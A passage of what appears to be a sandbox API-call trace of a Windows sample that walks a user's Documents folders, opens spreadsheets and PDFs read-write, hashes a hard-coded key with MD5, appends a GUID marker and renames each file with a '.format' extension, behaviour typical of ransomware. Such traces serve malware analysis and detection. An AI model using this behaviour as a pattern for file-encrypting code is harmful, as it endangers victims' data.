[0068.244] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\18tCh2fbWO9uqJ4SH0r\\e90mXCi.pdf") returned=".pdf" [0068.244] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\18tCh2fbWO9uqJ4SH0r\\e90mXCi.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\18tch2fbwo9uqj4sh0r\\e90mxci.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.244] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=81683) returned 1 [0068.244] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.246] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x13eed, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.246] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.247] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x13f13, lpOverlapped=0x0) returned 1 [0068.248] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.248] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.248] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.248] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abd70) returned 1 [0068.248] CryptCreateHash (in: hProv=0x6abd70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.248] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.248] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.248] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.248] GetLastError () returned 0x0 [0068.249] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.249] CryptReleaseContext (hProv=0x6abd70, dwFlags=0x0) returned 1 [0068.249] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.249] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x13f13, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.249] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.249] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.250] CloseHandle (hObject=0x5c8) returned 1 [0068.251] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\18tCh2fbWO9uqJ4SH0r\\e90mXCi.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\18tch2fbwo9uqj4sh0r\\e90mxci.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\18tCh2fbWO9uqJ4SH0r\\e90mXCi.pdf.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\18tch2fbwo9uqj4sh0r\\e90mxci.pdf.format")) returned 1 [0068.251] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.251] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.252] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31021f8 | out: hHeap=0x5d0000) returned 1 [0068.252] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaaee65b0, ftCreationTime.dwHighDateTime=0x1d4d06d, ftLastAccessTime.dwLowDateTime=0x4bfd1d90, ftLastAccessTime.dwHighDateTime=0x1d4c7e3, ftLastWriteTime.dwLowDateTime=0x4bfd1d90, ftLastWriteTime.dwHighDateTime=0x1d4c7e3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gLb9EGvUD", cAlternateFileName="GLB9EG~1")) returned 1 [0068.252] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf51ae5f0, ftCreationTime.dwHighDateTime=0x1d4ce60, ftLastAccessTime.dwLowDateTime=0x2f20f090, ftLastAccessTime.dwHighDateTime=0x1d4d20e, ftLastWriteTime.dwLowDateTime=0x2f20f090, ftLastWriteTime.dwHighDateTime=0x1d4d20e, nFileSizeHigh=0x0, nFileSizeLow=0x1a58, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vbjCBCCaRqTDVu75M.xls", cAlternateFileName="VBJCBC~1.XLS")) returned 1 [0068.252] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\18tCh2fbWO9uqJ4SH0r\\vbjCBCCaRqTDVu75M.xls") returned=".xls" [0068.252] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\18tCh2fbWO9uqJ4SH0r\\vbjCBCCaRqTDVu75M.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\18tch2fbwo9uqj4sh0r\\vbjcbccarqtdvu75m.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.252] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=6744) returned 1 [0068.252] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.255] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x1a32, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.255] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.255] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.255] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x1a58, lpOverlapped=0x0) returned 1 [0068.255] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.256] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.256] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.256] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abd70) returned 1 [0068.256] CryptCreateHash (in: hProv=0x6abd70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.256] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.256] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.256] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.256] GetLastError () returned 0x0 [0068.256] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.256] CryptReleaseContext (hProv=0x6abd70, dwFlags=0x0) returned 1 [0068.257] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.257] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x1a58, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.257] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.257] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.257] CloseHandle (hObject=0x5c8) returned 1 [0068.264] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\18tCh2fbWO9uqJ4SH0r\\vbjCBCCaRqTDVu75M.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\18tch2fbwo9uqj4sh0r\\vbjcbccarqtdvu75m.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\18tCh2fbWO9uqJ4SH0r\\vbjCBCCaRqTDVu75M.xls.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\18tch2fbwo9uqj4sh0r\\vbjcbccarqtdvu75m.xls.format")) returned 1 [0068.265] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.265] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.266] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31021f8 | out: hHeap=0x5d0000) returned 1 [0068.266] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf51ae5f0, ftCreationTime.dwHighDateTime=0x1d4ce60, ftLastAccessTime.dwLowDateTime=0x2f20f090, ftLastAccessTime.dwHighDateTime=0x1d4d20e, ftLastWriteTime.dwLowDateTime=0x2f20f090, ftLastWriteTime.dwHighDateTime=0x1d4d20e, nFileSizeHigh=0x0, nFileSizeLow=0x1a58, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vbjCBCCaRqTDVu75M.xls", cAlternateFileName="VBJCBC~1.XLS")) returned 0 [0068.266] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0068.266] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0068.266] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a28f8 | out: hHeap=0x5d0000) returned 1 [0068.266] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0068.266] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abd70 [0068.266] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0068.266] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.267] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.267] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.267] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.267] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.267] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.267] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.267] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.267] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.267] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.267] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.267] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.267] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.267] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.267] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.267] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.267] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.267] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.267] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.267] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.267] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.267] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.267] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.267] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.267] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.267] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.267] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0068.267] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\FZM1YvnX6BDzLLQ_\\") returned="FZM1YvnX6BDzLLQ_\\" [0068.267] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0068.267] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0068.267] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\") returned="yiub\\" [0068.268] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd28 [0068.268] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0068.268] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3286da0 [0068.268] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0068.268] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0068.268] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0068.268] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0068.268] PathFindFileNameW (pszPath="") returned="" [0068.268] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.268] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\FZM1YvnX6BDzLLQ_\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe919c370, ftCreationTime.dwHighDateTime=0x1d4cded, ftLastAccessTime.dwLowDateTime=0x55c63260, ftLastAccessTime.dwHighDateTime=0x1d4d433, ftLastWriteTime.dwLowDateTime=0x55c63260, ftLastWriteTime.dwHighDateTime=0x1d4d433, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0068.268] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe919c370, ftCreationTime.dwHighDateTime=0x1d4cded, ftLastAccessTime.dwLowDateTime=0x55c63260, ftLastAccessTime.dwHighDateTime=0x1d4d433, ftLastWriteTime.dwLowDateTime=0x55c63260, ftLastWriteTime.dwHighDateTime=0x1d4d433, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.268] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4e8f110, ftCreationTime.dwHighDateTime=0x1d4d1f0, ftLastAccessTime.dwLowDateTime=0x81791320, ftLastAccessTime.dwHighDateTime=0x1d4ce78, ftLastWriteTime.dwLowDateTime=0x81791320, ftLastWriteTime.dwHighDateTime=0x1d4ce78, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2qASZGVP1ayqj", cAlternateFileName="2QASZG~1")) returned 1 [0068.268] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edd50 [0068.268] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edab0 [0068.268] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.268] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa99afb00, ftCreationTime.dwHighDateTime=0x1d4cad8, ftLastAccessTime.dwLowDateTime=0xadc88c90, ftLastAccessTime.dwHighDateTime=0x1d4d4f3, ftLastWriteTime.dwLowDateTime=0xadc88c90, ftLastWriteTime.dwHighDateTime=0x1d4d4f3, nFileSizeHigh=0x0, nFileSizeLow=0x6c45, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EFxNu5CIh50zqG.ots", cAlternateFileName="EFXNU5~1.OTS")) returned 1 [0068.268] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.268] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xbe) returned 0x3185980 [0068.268] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\FZM1YvnX6BDzLLQ_\\EFxNu5CIh50zqG.ots") returned=".ots" [0068.268] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\FZM1YvnX6BDzLLQ_\\EFxNu5CIh50zqG.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\fzm1yvnx6bdzllq_\\efxnu5cih50zqg.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.269] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=27717) returned 1 [0068.269] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.271] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x6c1f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.271] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.272] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0068.272] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x6c45, lpOverlapped=0x0) returned 1 [0068.272] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.272] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.272] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.272] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.272] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac238) returned 1 [0068.273] CryptCreateHash (in: hProv=0x6ac238, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.273] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.273] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.273] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.273] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.273] GetLastError () returned 0x0 [0068.273] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.273] CryptReleaseContext (hProv=0x6ac238, dwFlags=0x0) returned 1 [0068.274] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x6c45, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.274] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd28 [0068.274] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0068.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.274] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0068.274] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.274] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.274] CloseHandle (hObject=0x5c8) returned 1 [0068.275] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283be0 [0068.275] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8b0) returned 0x3178dd8 [0068.276] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\FZM1YvnX6BDzLLQ_\\EFxNu5CIh50zqG.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\fzm1yvnx6bdzllq_\\efxnu5cih50zqg.ots"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\FZM1YvnX6BDzLLQ_\\EFxNu5CIh50zqG.ots.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\fzm1yvnx6bdzllq_\\efxnu5cih50zqg.ots.format")) returned 1 [0068.277] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd099b040, ftCreationTime.dwHighDateTime=0x1d4cc75, ftLastAccessTime.dwLowDateTime=0xe9c71c40, ftLastAccessTime.dwHighDateTime=0x1d4cb41, ftLastWriteTime.dwLowDateTime=0xe9c71c40, ftLastWriteTime.dwHighDateTime=0x1d4cb41, nFileSizeHigh=0x0, nFileSizeLow=0xf7f7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="evs-mu2XZmDDq_3I.ods", cAlternateFileName="EVS-MU~1.ODS")) returned 1 [0068.277] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.277] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xbe) returned 0x3185980 [0068.277] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\FZM1YvnX6BDzLLQ_\\evs-mu2XZmDDq_3I.ods") returned=".ods" [0068.277] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\FZM1YvnX6BDzLLQ_\\evs-mu2XZmDDq_3I.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\fzm1yvnx6bdzllq_\\evs-mu2xzmddq_3i.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.277] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=63479) returned 1 [0068.277] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.279] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xf7d1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.280] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.280] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0068.280] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xf7f7, lpOverlapped=0x0) returned 1 [0068.281] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.281] RtlAllocateHeap 